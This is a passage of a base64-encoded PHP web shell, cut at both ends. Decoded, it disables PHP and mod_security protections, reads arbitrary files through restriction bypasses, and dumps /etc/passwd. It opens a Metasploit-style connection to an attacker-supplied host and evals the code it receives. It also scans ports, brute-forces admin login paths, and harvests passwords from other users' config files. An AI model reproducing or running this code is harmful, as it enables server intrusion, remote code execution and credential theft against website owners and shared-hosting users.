0tLS0tLS0tLS0tLS0KCQllbHNlIGlmKCRfUE9TVFsncGhwaW5pR2VuZXJhdGUnXSkKCQl7CgkJCUdlbmVyYXRlRmlsZSgicGhwLmluaSIsIgoJCQlzYWZlX21vZGUgPSBPZmYKCQkJZGlzYWJsZV9mdW5jdGlvbnMgPSBOT05FCgkJCXNhZmVfbW9kZV9naWQgPSBPRkYKCQkJb3Blbl9iYXNlZGlyID0gT0ZGIik7CgkJCWVjaG8gInBocC5pbmkgSGFzIEJlZW4gR2VuZXJhdGVkIFN1Y2Nlc3NmdWxseSI7CgkJfQoJCWVsc2UgaWYoJF9QT1NUWydodGFjY2Vzc0dlbmVyYXRlJ10pCgkJewoJCQlHZW5lcmF0ZUZpbGUoIi5odGFjY2VzcyIsIgoJCQk8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+CgkJCVNlY0ZpbHRlckVuZ2luZSBPZmYKCQkJU2VjRmlsdGVyU2NhblBPU1QgT2ZmCgkJCVNlY0ZpbHRlckNoZWNrVVJMRW5jb2RpbmcgT2ZmCgkJCVNlY0ZpbHRlckNoZWNrQ29va2llRm9ybWF0IE9mZgoJCQlTZWNGaWx0ZXJDaGVja1VuaWNvZGVFbmNvZGluZyBPZmYKCQkJU2VjRmlsdGVyTm9ybWFsaXplQ29va2llcyBPZmYKCQkJPC9JZk1vZHVsZT4KCQkJU2V0RW52IFBIUFJDICIuZ2V0Y3dkKCkuInBocC5pbmkKCQkJc3VQSFBfQ29uZmlnUGF0aCAiLmdldGN3ZCgpLiJwaHAuaW5pCgkJCSIpOwoJCQllY2hvICIuaHRhY2Nlc3MgSGFzIEJlZW4gR2VuZXJhdGVkIFN1Y2Nlc3NmdWxseSAiOwoJCX0KCQllbHNlIGlmKCRfUE9TVFsnaW5pcGhwR2VuZXJhdGUnXSkKCQl7CgkJCUdlbmVyYXRlRmlsZSgiaW5pLnBocCIsIgoJCQlpbmlfcmVzdG9yZShcInNhZmVfbW9kZVwiKTsKCQkJaW5pX3Jlc3RvcmUoXCJvcGVuX2Jhc2VkaXJcIik7CgkJCSIpOwoJCQllY2hvICJpbmkucGhwIEhhcyBCZWVuIEdlbmVyYXRlZCBTdWNjZXNzZnVsbHkiOwoJCX0KCQkjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgkJIyAgUmVhZGluZyBGaWxlcwoJCSMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCQllbHNlIGlmKCRfUE9TVFsncmVhZCddIHx8ICRfUE9TVFsnc2hvdyddKQoJCXsKCQkJJGZpbGUgPSAkX1BPU1RbJ2ZpbGUnXTsKCQkJJGZpbGUgPSBzdHJfcmVwbGFjZSgnXFxcXCcsJ1xcJywkZmlsZSk7CgkJCQoJCQkJaWYoJF9QT1NUWydyZWFkJ10pCgkJCQl7CgkJCQkJJG9wZW5NeUZpbGUgPSBmb3BlbigkZmlsZSwncicpOwoJCQkJCWlmKGZ1bmN0aW9uX2V4aXN0cygnZnJlYWQnKSkKCQkJCQl7CgkJCQkJCWVjaG8gZnJlYWQoJG9wZW5NeUZpbGUsMTAwMDAwKTsJCgkJCQkJfQoJCQkJCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ2ZnZXRzJykpCgkJCQkJewoJCQkJCQllY2hvIGZnZXRzKCRvcGVuTXlGaWxlKTsKCQkJCQl9CgkJCQkJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncmVhZGZpbGUnKSkKCQkJCQl7CgkJCQkJCWVjaG8gcmVhZGZpbGUoJG9wZW5NeUZpbGUpOwoJCQkJCX0KCQkJCQllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdmaWxlX2dldF9jb250ZW50cycpKQoJCQkJCXsKCQkJCQkJJHJlYWRNeUZpbGUgPSBAZmlsZV9nZXRfY29udGVudHMoJGZpbGUsIE5VTEwsIE5VTEwsIDAsIDEwMDAwMDApOwoJCQkJCQl2YXJfZHVtcCgkcmVhZE15RmlsZSk7CgkJCQkJfQoJCQkJCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ2ZpbGUnKSkKCQkJCQl7CgkJCQkJCSRyZWFkTXlGaWxlID0gZmlsZSgkbXlGaWxlKTsgCgkJCQkJCWZvcmVhY2ggKCRyZWFkTXlGaWxlIGFzICRsaW5lX251bSA9PiAkcmVhZE15RmlsZUxpbmUpIAoJCQkJCQl7IAoJCQkJCQkJZWNobyAiTGluZSAjJGxpbmVfbnVtIDogIiAuICRyZWFkTXlGaWxlTGluZSAuICIKCQkJCQkJCSI7IAoJCQkJCQl9CgkJCQkJfQoJCQkJCWVsc2VpZihFeGUoIidjYXQgIi4kZmlsZS4iJyIpKQoJCQkJCXsKCQkJCQkJZWNobyBFeGUoIidjYXQgIi4kZmlsZS4iJyIpOwkKCQkJCQl9CgkJCQllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdyZWFkZmlsZScpKQoJCQkJewoJCQkJCXJlYWRmaWxlKCRmaWxlKTsKCQkJCX0KCQkJCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ2luY2x1ZGUnKSkKCQkJCXsKCQkJCQlpbmNsdWRlKCRmaWxlKTsJCgkJCQl9CgkJCQllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdjb3B5JykpCgkJCQl7CgkJCQkJJHRtcD10ZW1wbmFtKCcnLCdjeCcpOwoJCQkJCWNvcHkoJ2NvbXByZXNzLnpsaWI6Ly8nLiRmaWxlLCR0bXApOwoJCQkJCSRmaD1mb3BlbigkdG1wLCdyJyk7CgkJCQkJJGRhdGE9ZnJlYWQoJGZoLGZpbGVzaXplKCR0bXApKTsKCQkJCQlmY2xvc2UoJGZoKTsKCQkJCQllY2hvICRkYXRhOwoJCQkJfQoJCQkJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbWJfc2VuZF9tYWlsJykpCgkJCQl7CgkJCQkJaWYoZmlsZV9leGlzdHMoJy90bXAvbWJfc2VuZF9tYWlsJykpCgkJCQkJewoJCQkJCQl1bmxpbmsoJy90bXAvbWJfc2VuZF9tYWlsJyk7CgkJCQkJfQoJCQkJCUBtYl9zZW5kX21haWwoTlVMTCwgTlVMTCwgTlVMTCwgTlVMTCwnLUMgJGZpbGUgLVggL3RtcC9tYl9zZW5kX21haWwnKTsKCQkJCQlAcmVhZGZpbGUoJy90bXAvbWJfc2VuZF9tYWlsJyk7CgkJCQl9CgkJCQllbHNlIGlmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0JykpCgkJCQl7CgkJCQkJJGZoPWN1cmxfaW5pdCgnZmlsZTovLycuJGZpbGUuJycpOwoJCQkJCSR0bXA9Y3VybF9leGVjKCRmaCk7CgkJCQkJZWNobyAkdG1wOwoJCQkJCWlmKHN0cnN0cigkZmlsZSxESVJFQ1RPUllfU0VQQVJBVE9SKSkKCQkJCQkkY2g9Y3VybF9pbml0KCdmaWxlOi8vLycuJGZpbGUuIlx4MDAvLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vIi5fX0ZJTEVfXyk7CgkJCQkJZWxzZSAkY2g9Y3VybF9pbml0KCdmaWxlOi8vJy4kZmlsZS4iXHgwMCIuX19GSUxFX18pOwoJCQkJCXZhcl9kdW1wKGN1cmxfZXhlYygkY2gpKTsKCQkJCX0KCQkJCWVsc2UgaWYoaXNfd3JpdGFibGUoJy4nKSkKCQkJCXsKCQkJCQlmaWxlX3B1dF9jb250ZW50cygncGhwLmluaScsJ3NhZmVfbW9kZSA9IE9mZicpOwoJCQkJCXJlYWRmaWxlKCRmaWxlKTsKCQkJCQl1bmxpbmsoJ3BocC5pbmknKTsKCQkJCX0KCQkJCWVsc2UgaWYoaXNfb2JqZWN0KCR3cz1uZXcgQ09NKCdXU2NyaXB0LlNoZWxsJykpKQoJCQkJewoJCQkJCWVjaG8gJGV4ZWM9Y29tc2hlbEwoInR5cGUgXCIkZmlsZVwiIiwkd3MpOwoJCQkJfQoJCQkJZWxzZSBpZihjaGVja2Z1bmN0aW9OKCd3aW5fc2hlbGxfZXhlY3V0ZScpKQoJCQkJewoJCQkJCWVjaG8gd2luc2hlbEwoInR5cGUgXCIkZmlsZVwiIik7CgkJCQl9CgkJCQllbHNlIGlmKGNoZWNrZnVuY3Rpb04oJ3dpbjMyX2NyZWF0ZV9zZXJ2aWNlJykpCgkJCQl7CgkJCQkJZWNobyBzcnZzaGVsTCgidHlwZSBcIiRmaWxlXCIiKTsKCQkJCX0KCQkJCWVsc2UgaWYoZnVuY3Rpb25fZXhpc3RzKCdpbWFwX29wZW4nKSkKCQkJCXsKCQkJCQkkc3RyPWltYXBfb3BlbignL2V0Yy9wYXNzd2QnLCcnLCcnKTsKCQkJCQkkbGlzdD1pbWFwX2xpc3QoJHN0ciwkZmlsZSwnKicpOwoJCQkJCWZvcigkaT0wOyRpPGNvdW50KCRsaXN0KTskaSsrKQoJCQkJCXsKCQkJCQkJZWNobyAkbGlzdFskaV0uIlxuIjsKCQkJCQl9CgkJCQkJaW1hcF9jbG9zZSgkc3RyKTsKCQkJCQkkc3RyPWltYXBfb3BlbigkZmlsZSwnJywnJyk7CgkJCQkJJHRtcD1pbWFwX2JvZHkoJHN0ciwxKTsKCQkJCQllY2hvICR0bXA7CgkJCQkJaW1hcF9jbG9zZSgkc3RyKTsKCQkJCX0KCQkJCWVsc2VpZigkZmlsZSA9PSAnL2V0Yy9wYXNzd2QnKQoJCQkJewoJCQkJCWZvcigkdWlkPTA7JHVpZDw5OTk5OTskdWlkKyspCgkJCQkJewoJCQkJCQkkaD1wb3NpeF9nZXRwd3VpZCgkdWlkKTsKCQkJCQkJaWYoIWVtcHR5KCRoKSkKCQkJCQkJZm9yZWFjaCgkaCBhcyAkdikKCQkJCQkJZWNobyAiJHY6IjsKCQkJCQkJZWNobyAiXHJcbiI7CgkJCQkJfQoJCQkJfQoJCQkJZmNsb3NlKCRvcGVuTXlGaWxlKTsKCQkJfQoJCQllbHNlaWYoJF9QT1NUWydzaG93J10pCgkJCXsKCQkJCSRjb249Z2xvYigiJGZpbGUqIik7CgkJCQlmb3JlYWNoICgkY29uIGFzICR2KQoJCQkJewoJCQkJCWVjaG8gIiR2XG4iOwoJCQkJfQoJCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdpbWFwX29wZW4nKSkKCQkJCXsKCQkJCQkkc3RyPWltYXBfb3BlbignL2V0Yy9wYXNzd2QnLCcnLCcnKTsKCQkJCQkkcz1leHBsb2RlKCJ8IiwkZmlsZSk7CgkJCQkJaWYoY291bnQoJHMpPjEpCgkJCQkJewoJCQkJCQkkbGlzdD1pbWFwX2xpc3QoJHN0cix0cmltKCRzWzBdKSx0cmltKCRzWzFdKSk7CgkJCQkJfQoJCQkJCWVsc2UgCgkJCQkJewoJCQkJCQkkbGlzdD1pbWFwX2xpc3QoJHN0cix0cmltKCRzdHJbMF0pLCcqJyk7CgkJCQkJfQoJCQkJCWZvcigkaT0wOyRpPGNvdW50KCRsaXN0KTskaSsrKQoJCQkJCXsKCQkJCQkJaW1hcF9jbG9zZSgkc3RyKTsKCQkJCQl9CgkJCQl9CgkJCQllbHNlIGlmKGlzX29iamVjdCgkd3M9bmV3IENPTSgnV1NjcmlwdC5TaGVsbCcpKSkKCQkJCXsKCQkJCQkkZXhlYz1jb21zaGVsTCgiZGlyIFwiJGZpbGVcIiIsJHdzKTsKCQkJCQkkZXhlYz1zdHJfcmVwbGFjZSgiXHQiLCcnLCRleGVjKTsKCQkJCQllY2hvICRleGVjOwoJCQkJfQoJCQkJZWxzZSBpZihjaGVja2Z1bmN0aW9OKCd3aW5fc2hlbGxfZXhlY3V0ZScpKQoJCQkJewoJCQkJCWVjaG8gd2luc2hlbEwoImRpciBcIiRmaWxlXCIiKTsKCQkJCX0KCQkJCWVsc2UgaWYoY2hlY2tmdW5jdGlvTignd2luMzJfY3JlYXRlX3NlcnZpY2UnKSkKCQkJCXsKCQkJCQllY2hvIHNydnNoZWxMKCJkaXIgXCIkZmlsZVwiIik7CgkJCQl9CgkJCX0KCQkJCgkJfQoJCSMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCQkjICAgRW5jcnlwdGlvbgoJCSMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCQllbHNlaWYoJF9QT1NUWydlbmNyeXB0Tm93J10pCgkJewoJCQlpZighZW1wdHkoJF9QT1NUWydFTkNSWVBUSU9OJ10pKQoJCQl7CgkJCQkkbWQ1ID0gJF9QT1NUWydFTkNSWVBUSU9OJ107CgkJCQllY2hvICIKTUQ1IAkJCTogIi5tZDUoJG1kNSkuIgpCYXNlNjQgRW5jb2RlICAgCTogIi5iYXNlNjRfZW5jb2RlKCRtZDUpLiIKQmFzZTY0IERlY29kZSAgIAk6ICIuYmFzZTY0X2RlY29kZSgkbWQ1KS4iCkNyeXB0IAkJCTogIi5jcnlwdCgkbWQ1KS4iClNIQTEgCQkJOiAiLnNoYTEoJG1kNSkuIgpNRDQgCQkJOiAiLmhhc2goIm1kNCIsJG1kNSkuIgpTSEEyNTYgCQkJOiAiLmhhc2goInNoYTI1NiIsJG1kNSkuIgpVUkwgRW5jb2RpbmcgCQk6ICIudXJsZW5jb2RlKCRtZDUpLiIKVVJMIERlY29kaW5nIAkJOiAiLnN0cl9oZXgoJG1kNSkuIgpDUkMzMiAJCQk6ICIuY3JjMzIoJG1kNSkuIgpMZW5ndGggCQkJOiAiLnN0cmxlbigkbWQ1KS4iIjsKCQkJfQoJCQllbHNlCgkJCXsKCQkJCWVjaG8gIlBsZWFzZSBQdXQgQXQgTGVhc3QgT25lIENoYXIgISI7CgkJCX0KCQl9CgkJIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoJCSMgICBNZXRhc3Bsb2l0IFJDCgkJIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoJCWVsc2UgaWYoJF9QT1NUWydtZXRhQ29ubmVjdCddKQoJCXsKCQkJJGlwID0gJF9QT1NUWydpcCddOwoJCQkkcG9ydCA9ICRfUE9TVFsncG9ydCddOwoJCQlpZiAoJGlwID09ICIiICYmICRwb3J0ID09ICIiKQoJCQl7CgkJCQllY2hvICJQbGVhc2UgZmlsbCBJUCBBZHJlc3MgJiBUaGUgbGlzdGVuIFBvcnQiOwoJCQl9IAoJCQllbHNlIAoJCQl7CgkJCQkkaXBhZGRyID0gJGlwOyAKCQkJCSRwb3J0ID0gJHBvcnQ7CgkJCQlpZiAoRkFMU0UgIT09IHN0cnBvcygkaXBhZGRyLCAiOiIpKSAKCQkJCXsKCQkJCQkkaXBhZGRyID0gIlsiLiAkaXBhZGRyIC4iXSI7CgkJCQl9CgkJCQlpZiAoaXNfY2FsbGFibGUoJ3N0cmVhbV9zb2NrZXRfY2xpZW50JykpIAoJCQkJewoJCQkJCSRtc2dzb2NrID0gQHN0cmVhbV9zb2NrZXRfY2xpZW50KCJ0Y3A6Ly97JGlwYWRkcn06eyRwb3J0fSIpOwoJCQkJCWlmICghJG1zZ3NvY2spCgkJCQkJewoJCQkJCQlkaWUoKTsgCgkJCQkJfQoJCQkJCSRtc2dzb2NrX3R5cGUgPSAnc3RyZWFtJzsKCQkJCX0gCgkJCQllbHNlaWYgKGlzX2NhbGxhYmxlKCdmc29ja29wZW4nKSkgCgkJCQl7CgkJCQkJJG1zZ3NvY2sgPSBmc29ja29wZW4oJGlwYWRkciwkcG9ydCk7CgkJCQkJaWYgKCEkbXNnc29jaykgCgkJCQkJewoJCQkJCQlkaWUoKTsgCgkJCQkJfQoJCQkJCSRtc2dzb2NrX3R5cGUgPSAnc3RyZWFtJzsKCQkJCX0KCQkJCWVsc2VpZiAoaXNfY2FsbGFibGUoJ3NvY2tldF9jcmVhdGUnKSkgCgkJCQl7CgkJCQkJJG1zZ3NvY2sgPSBzb2NrZXRfY3JlYXRlKEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBTT0xfVENQKTsKCQkJCQkkcmVzID0gc29ja2V0X2Nvbm5lY3QoJG1zZ3NvY2ssICRpcGFkZHIsICRwb3J0KTsKCQkJCQlpZiAoISRyZXMpIAoJCQkJCXsKCQkJCQkJZGllKCk7IAoJCQkJCX0KCQkJCQkkbXNnc29ja190eXBlID0gJ3NvY2tldCc7CgkJCQl9IAoJCQkJZWxzZSAKCQkJCXsKCQkJCQlkaWUoKTsKCQkJCX0KCQkJCXN3aXRjaCAoJG1zZ3NvY2tfdHlwZSkgCgkJCQl7IAoJCQkJCWNhc2UgJ3N0cmVhbSc6ICRsZW4gPSBmcmVhZCgkbXNnc29jaywgNCk7IGJyZWFrOwoJCQkJCWNhc2UgJ3NvY2tldCc6ICRsZW4gPSBzb2NrZXRfcmVhZCgkbXNnc29jaywgNCk7IGJyZWFrOwoJCQkJfQoJCQkJaWYgKCEkbGVuKSAKCQkJCXsKCQkJCQlkaWUoKTsKCQkJCX0KCQkJCSRhID0gdW5wYWNrKCJObGVuIiwgJGxlbik7CgkJCQkkbGVuID0gJGFbJ2xlbiddOwoJCQkJJGJ1ZmZlciA9ICcnOwoJCQkJd2hpbGUgKHN0cmxlbigkYnVmZmVyKSA8ICRsZW4pIAoJCQkJewoJCQkJCXN3aXRjaCAoJG1zZ3NvY2tfdHlwZSkgCgkJCQkJeyAKCQkJCQkJY2FzZSAnc3RyZWFtJzogJGJ1ZmZlciAuPSBmcmVhZCgkbXNnc29jaywgJGxlbi1zdHJsZW4oJGJ1ZmZlcikpOyAKCQkJCQkJYnJlYWs7CgkJCQkJCWNhc2UgJ3NvY2tldCc6ICRidWZmZXIgLj0gc29ja2V0X3JlYWQoJG1zZ3NvY2ssICRsZW4tc3RybGVuKCRidWZmZXIpKTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoJCQkJfQoJCQkJZXZhbCgkYnVmZmVyKTsKCQkJCWVjaG8gIlsqXSBDb25uZWN0aW9uIFRlcm1pbmF0ZWQiOwoJCQkJZGllKCk7CgkJCX0KCQl9CgkJIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoJCSMgIFNjYW4gUG9ydHMKCQkjLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgkJZWxzZSBpZigkX1BPU1RbJ3N1Ym1pdERvbWFpblRvU2NhblBvcnQnXSkKCQl7CgkJCSRkb21haW5Ub1NjYW4gPSAkX1BPU1RbJ2RvbWFpblRvU2NhblBvcnQnXTsKCQkJaWYoISRkb21haW5Ub1NjYW4pCgkJCXsKCQkJCWVjaG8gIlstXSBFbnRlciBJUCBBZGRyZXNzIE9yIERvbWFpbiBUbyBTY2FuIjsKCQkJfQoJCQllbHNlIAoJCQl7CgkJCQlmb3IoJGk9MDskaTwxMDI0OyRpKyspIAoJCQkJewoJCQkJCSRmcCA9IEBmc29ja29wZW4oJGRvbWFpblRvU2NhbiwkaSwkZXJybm8sJGVycnN0ciwxMCk7CgkJCQkJaWYoJGZwKQoJCQkJCXsKCQkJCQkJZWNobyAiWytdIHBvcnQgIiAuICRpIC4gIiBvcGVuIG9uICIgLiAkZG9tYWluVG9TY2FuIC4gIgoiOwoJCQkJCX0KCQkJCQllbHNlCgkJCQkJewoJCQkJCQllY2hvICJbK10gcG9ydCAiIC4gJGkgLiAiIGNsb3NlZCBvbiAiIC4gJGRvbWFpblRvU2NhbiAuICIKIjsKCQkJCQl9CgkJCQkJZmx1c2goKTsKCQkJCX0gCgkJCQlmY2xvc2UoJGZwKTsKCQkJfQoJCX0KCQkJCgkJCWlmIChpc3NldCgkX1BPU1RbInN1Ym1pdF9sb2wiXSkpIAoJCQl7CgkJCQlzZXRfdGltZV9saW1pdCgwKTsKCQkJCSR1cmwgPSAkX1BPU1RbJ2hhc2hfbG9sJ107CgkJCQllY2hvICJUZXN0aW5nICIuJHVybC4iXG4iOwoJCQkJJGV4dGVudGlvbiA9ICRfUE9TVFsnZXh0ZW50aW9uJ107CgkJCQkkYWRtaW5sb2NhbGVzID0gYXJyYXkoCiJhZG1pbi8iLAoid3AtYWRtaW4vIiwKImFkbWluaXN0cmF0aW9uLyIsCiJhZG1pbmlzdHJhdG9yLyIsCiJtb2RlcmF0b3IvIiwKIndlYmFkbWluLyIsCiJhZG1pbmFyZWEvIiwKImJiLWFkbWluLyIsCiJhZG1pbkxvZ2luLyIsCiJhZG1pbl9hcmVhLyIsCiJwYW5lbC1hZG1pbmlzdHJhY2lvbi8iLAoiaW5zdGFkbWluLyIsCiJtZW1iZXJhZG1pbi8iLAoiYWRtaW5pc3RyYXRvcmxvZ2luLyIsCiJhZG0vIiwKInNpdGVhZG1pbi9sb2dpbiIuJGV4dGVudGlvbi4iIiwKImFkbWluL2FjY291bnQiLiRleHRlbnRpb24uIiIsCiJhZG1pbi9pbmRleCIuJGV4dGVudGlvbi4iIiwKImFkbWluL2xvZ2luIi4kZXh0ZW50aW9uLiIiLAoiYWRtaW4vYWRtaW4iLiRleHRlbnRpb24uIiIsCiJhZG1pbl9hcmVhL2xvZ2luIi4kZXh0ZW50aW9uLiIiLAoiYWRtaW5fYXJlYS9pbmRleCIuJGV4dGVudGlvbi4iIiwKImFkbWluY3AvaW5kZXgiLiRleHRlbnRpb24uIiIsCiJhZG1pbnBhbmVsIi4kZXh0ZW50aW9uLiIiLAoid2ViYWRtaW4iLiRleHRlbnRpb24uIiIsCiJ3ZWJhZG1pbi9pbmRleCIuJGV4dGVudGlvbi4iIiwKIndlYmFkbWluL2xvZ2luIi4kZXh0ZW50aW9uLiIiLAoiYWRtaW4vYWRtaW5fbG9naW4iLiRleHRlbnRpb24uIiIsCiJhZG1pbl9sb2dpbiIuJGV4dGVudGlvbi4iIiwKInBhbmVsLWFkbWluaXN0cmFjaW9uL2xvZ2luIi4kZXh0ZW50aW9uLiIiLAoiYWRtaW5fYXJlYS9hZG1pbiIuJGV4dGVudGlvbi4iIiwKImJiLWFkbWluL2luZGV4Ii4kZXh0ZW50aW9uLiIiLAoiYmItYWRtaW4vbG9naW4iLiRleHRlbnRpb24uIiIsCiJiYi1hZG1pbi9hZG1pbiIuJGV4dGVudGlvbi4iIiwKImFkbWluL2hvbWUiLiRleHRlbnRpb24uIiIsCiJwYWdlcy9hZG1pbi9hZG1pbi1sb2dpbiIuJGV4dGVudGlvbi4iIiwKImFkbWluL2FkbWluLWxvZ2luIi4kZXh0ZW50aW9uLiIiLAoiYWRtaW4tbG9naW4iLiRleHRlbnRpb24uIiIsCiJhZG1pbi9hZG1pbkxvZ2luIi4kZXh0ZW50aW9uLiIiLAoiaG9tZSIuJGV4dGVudGlvbi4iIiwKImFkbWluYXJlYS9pbmRleCIuJGV4dGVudGlvbi4iIiwKImFkbWluL2NvbnRyb2xwYW5lbCIuJGV4dGVudGlvbi4iIiwKImFkbWluIi4kZXh0ZW50aW9uLiIiLAoiYWRtaW4vY3AiLiRleHRlbnRpb24uIiIsCiJjcCIuJGV4dGVudGlvbi4iIiwKImFkbWlucGFuZWwucGhwIiwKIm1vZGVyYXRvciIuJGV4dGVudGlvbi4iIiwKImFkbWluaXN0cmF0b3IvaW5kZXgiLiRleHRlbnRpb24uIiIsCiJhZG1pbmlzdHJhdG9yL2xvZ2luIi4kZXh0ZW50aW9uLiIiLAoidXNlciIuJGV4dGVudGlvbi4iIiwKImFkbWluaXN0cmF0b3IvYWNjb3VudCIuJGV4dGVudGlvbi4iIiwKImFkbWluaXN0cmF0b3IiLiRleHRlbnRpb24uIiIsCiJsb2dpbiIuJGV4dGVudGlvbi4iIiwKIm1vZGVsc2VhcmNoL2xvZ2luIi4kZXh0ZW50aW9uLiIiLAoibW9kZXJhdG9yL2xvZ2luIi4kZXh0ZW50aW9uLiIiLAoicGFuZWwtYWRtaW5pc3RyYWNpb24vYWRtaW4iLiRleHRlbnRpb24uIiIsCiJhZG1pbmNvbnRyb2wvbG9naW4iLiRleHRlbnRpb24uIiIsCiJhZG0vaW5kZXgiLiRleHRlbnRpb24uIiIsCiJtb2RlcmF0b3IvYWRtaW4iLiRleHRlbnRpb24uIiIsCiJhY2NvdW50Ii4kZXh0ZW50aW9uLiIiLAoiY29udHJvbHBhbmVsIi4kZXh0ZW50aW9uLiIiLAoiYWRtaW5jb250cm9sIi4kZXh0ZW50aW9uLiIiLAoid2ViYWRtaW4vYWRtaW4iLiRleHRlbnRpb24uIiIsCiJhZG1pbkxvZ2luIi4kZXh0ZW50aW9uLiIiLAoicGFuZWwtYWRtaW5pc3RyYWNpb24vbG9naW4iLiRleHRlbnRpb24uIiIsCiJ3cC1sb2dpbiIuJGV4dGVudGlvbi4iIiwKImFkbWluTG9naW4iLiRleHRlbnRpb24uIiIsCiJhZG1pbi9hZG1pbkxvZ2luIi4kZXh0ZW50aW9uLiIiLAoiYWRtaW5hcmVhL2luZGV4Ii4kZXh0ZW50aW9uLiIiLAoiYWRtaW5hcmVhL2FkbWluIi4kZXh0ZW50aW9uLiIiLAoiYWRtaW5hcmVhL2xvZ2luIi4kZXh0ZW50aW9uLiIiLAoicGFuZWwtYWRtaW5pc3RyYWNpb24vaW5kZXgiLiRleHRlbnRpb24uIiIsCiJtb2RlbHNlYXJjaC9pbmRleCIuJGV4dGVudGlvbi4iIiwKIm1vZGVsc2VhcmNoL2FkbWluIi4kZXh0ZW50aW9uLiIiLAoiYWRtL2FkbWxvZ2ludXNlciIuJGV4dGVudGlvbi4iIiwKImFkbWxvZ2ludXNlciIuJGV4dGVudGlvbi4iIiwKImFkbWluMiIuJGV4dGVudGlvbi4iIiwKImFkbWluMi9sb2dpbiIuJGV4dGVudGlvbi4iIiwKImFkbWluMi9pbmRleCIuJGV4dGVudGlvbi4iIiwKImFkbS9pbmRleCIuJGV4dGVudGlvbi4iIiwKImFkbSIuJGV4dGVudGlvbi4iIiwKImFmZmlsaWF0ZSIuJGV4dGVudGlvbi4iIiwKImFkbV9hdXRoIi4kZXh0ZW50aW9uLiIiLAoibWVtYmVyYWRtaW4iLiRleHRlbnRpb24uIiIsCiJhZG1pbmlzdHJhdG9ybG9naW4iLiRleHRlbnRpb24uIiIpOwoJCQkJZm9yZWFjaCAoJGFkbWlubG9jYWxlcyBhcyAkYWRtaW4pCgkJCQl7CgkJCQkJJGhlYWRlcnMgPSBAZ2V0X2hlYWRlcnMoIiR1cmwkYWRtaW4iKTsKCQkJCQlpZiAoQGVyZWdpKCcyMDAnLCAkaGVhZGVyc1swXSkpIAoJCQkJCXsKCQkJCQkJZWNobyAiWytdICR1cmwkYWRtaW4gIH4gRm91bmQhXG4iOwoJCQkJCX0KCQkJCQkKCQkJCX0KCQkJfQoJCSMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCQkjICAgQ29uZmlnIEZpbmRlcgoJCSMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCQllbHNlIGlmKCRfUE9TVFsnY29uZmlnRmluZGVyU3VibWl0J10pCgkJewoJCQlzZXRfdGltZV9saW1pdCgwKTsgCgkJCSRwYXNzd2Q9Zm9wZW4oJy9ldGMvcGFzc3dkJywncicpOyAKCQkJaWYgKCEkcGFzc3dkKQoJCQl7IAoJCQkJZWNobyAiWy1dIEVycm9yIDogY291ZG4ndCByZWFkIC9ldGMvcGFzc3dkIjsgCgkJCQlleGl0OyAKCQkJfSAKCQkJJHBhdGhfdG9fcHVibGljPWFycmF5KCk7IAoJCQkkdXNlcnM9YXJyYXkoKTsgCgkJCSRwYXRodG9jb25mPWFycmF5KCk7IAoJCQkkaT0wOyAKCQkJd2hpbGUoIWZlb2YoJHBhc3N3ZCkpIAoJCQl7IAoJCQkJJHN0cj1mZ2V0cygkcGFzc3dkKTsgCgkJCQlpZiAoJGk+MzUpIAoJCQkJeyAKCQkJCSAgICRwb3M9c3RycG9zKCRzdHIsIjoiKTsgCgkJCQkgICAkdXNlcm5hbWU9c3Vic3RyKCRzdHIsMCwkcG9zKTsgCgkJCQkgICAkZGlyej0iL2hvbWUvJHVzZXJuYW1lL3B1YmxpY19odG1sLyI7IAoJCQkJICAgaWYgKCgkdXNlcm5hbWUhPSIiKSkgCgkJCQkgICB7IAoJCQkJCSAgIGlmIChpc19yZWFkYWJsZSgkZGlyeikpIAoJCQkJCSAgIHsgCgkJCQkJCSAgIGFycmF5X3B1c2goJHVzZXJzLCR1c2VybmFtZSk7IAoJCQkJCQkgICBhcnJheV9wdXNoKCRwYXRoX3RvX3B1YmxpYywkZGlyeik7IAoJCQkJCSAgIH0gCgkJCQkgICB9IAoJCQkJfSAKCQkJCSRpKys7IAoJCQl9IAoJCQllY2hvICIiOyAKCQkJZWNobyAiWytdIEZvdW5kZWQgIi5zaXplb2YoJHVzZXJzKS4iIGVudHJ5cyBpbiAvZXRjL3Bhc3N3ZAoJCSI7IAoJCQllY2hvICJbK10gRm91bmRlZCAiLnNpemVvZigkcGF0aF90b19wdWJsaWMpLiIgcmVhZGFibGUgcHVibGljX2h0bWwgZGlyZWN0b3JpZXMKCQkiOyAKCQkJZWNobyAiW35dIFNlYXJjaGluZyBmb3IgcGFzc3dvcmRzIGluIGNvbmZpZy4qIGZpbGVzLi4uCgkJIjsgCgkJCWZvcmVhY2ggKCR1c2VycyBhcyAkdXNlcikgCgkJCXsgCgkJCQkgICAkcGF0aD0iL2hvbWUvJHVzZXIvcHVibGljX2h0bWwvIjsgCgkJCQkgICByZWFkX2RpcigkcGF0aCwkdXNlcik7IAoJCQl9IAoJCQllY2hvICJbK10gRG9uZSI7IAoJCX0KCQkjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgkJIyAgIE1haWwgU3Rvcm0KCQkjLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgkJZWxzZSBp